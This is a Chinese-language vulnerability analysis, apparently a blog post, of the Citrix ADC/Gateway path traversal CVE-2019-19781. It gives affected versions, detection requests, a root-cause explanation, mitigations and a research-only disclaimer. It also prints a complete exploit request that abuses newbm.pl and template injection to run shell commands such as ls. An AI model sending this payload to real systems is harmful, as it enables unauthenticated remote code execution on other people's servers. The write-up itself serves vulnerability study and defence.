[应用漏洞]Citrix路径遍历(CVE-2019-19781)

参考:https://mp.weixin.qq.com/s/xjVL3hMNQjbX9KsHOdTPnQ

一、漏洞介绍

Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令。根据安全网站的说法,这个RCE漏洞会有一个标记漏洞,即本次我们分析的Citrx路径遍历漏洞(CVE-2019-19781)。

该漏洞利用复杂性低,且无权限要求,攻击者只能遍历s文件夹,但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探,从而发起进一步精准攻击。

二、影响范围

Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0

三、漏洞验证

如果访问//../s/路径下,进行下面两个请求:

GET //../s/services.htmlGET //../s/cfg/smb.conf

如果都响应200成功,则证明此漏洞的存在。

四、漏洞探析

1.漏洞的基础:路径遍历   

通过php代码审计得知,Citrix会直接根据HTTP头部中的NSC_USER字段构建具体路径,没有进行任何过滤操作。

因此,调用带漏洞函数的任何脚本都可以触发路径漏洞。

2.xml文件创建

在众多文件中,存在一个newbm.pl脚本文件,该脚本会根据多个参数创建一个数组,然后调用filewrite函数,该函数将具体内容写入磁盘上的一个XML文件。

即,我们通过newbm.pl恶意上传内容,会被保存到指定的xml文件中。

3.漏洞提升:命令执行

进一步研究后,我们发现可以在XML文件中插入特定指令,如果模板引擎解析该内容,就有可能实现代码执行。

[应用漏洞]Citrix路径遍历(CVE-2019-19781)_第1张图片

 

其中 $tmplfile 变量来自于HTTP请求路径,并且代码会创建一个新的模板,解析该文件。

上下联系起来,为了利用该漏洞,我们需要执行如下操作:

1、找到通过模板执行Perl代码的方法;

2、使用路径遍历漏洞将构造的XML文件写入模板目录;

3、浏览上传的XML文件,触发模板解析。

当然,这个漏洞的产生还取决于一个条件:Citrix有一个未公开的功能,可以用来执行任意perl代码。

五、漏洞复现及利用

1.访问下列URL,发现前端针对 ../ 做了净化与过滤。

但我们可以通过抓包重新修改后,进行绕过。

2.现在上传文件,执行输出passwd文件:

(1)上传、生成

 此处的header和data中的文件名,可自定义。需要注意此处使用的文件名即是后续步骤中指定遍历的文件名,应上下统一。

[应用漏洞]Citrix路径遍历(CVE-2019-19781)_第2张图片

 

(2)读文件,只要文件名和步骤1中对应的文件名一致即可

[应用漏洞]Citrix路径遍历(CVE-2019-19781)_第3张图片

 

(3)再举一例,是运行ls指令的:

[应用漏洞]Citrix路径遍历(CVE-2019-19781)_第4张图片

 

六、验证脚本

//../s/portal/scripts/newbm.pl HTTP/1.1
Host: 对应网站host
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/iiioo
NSC_NONCE: nsroot
Content-Length: 98

url=***&title=***(此处为自定义文本)&desc=[% template.new('BLOCK' = 'print `ls`') %]

七、修复方案

(1) 过滤对/s/目录下进行路径遍历的请求,过滤应该在服务侧进行
(2)攻击方式一般为 先POST请求创建、GET请求查询,可对两种请求进行前后匹配
(3)更多请参考官方公告:https://support.citrix.com/article/CTX267679POST 

八、免责声明

本文中提到的漏洞利用Poc和脚本已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

你可能感兴趣的:(剑在手,天下走)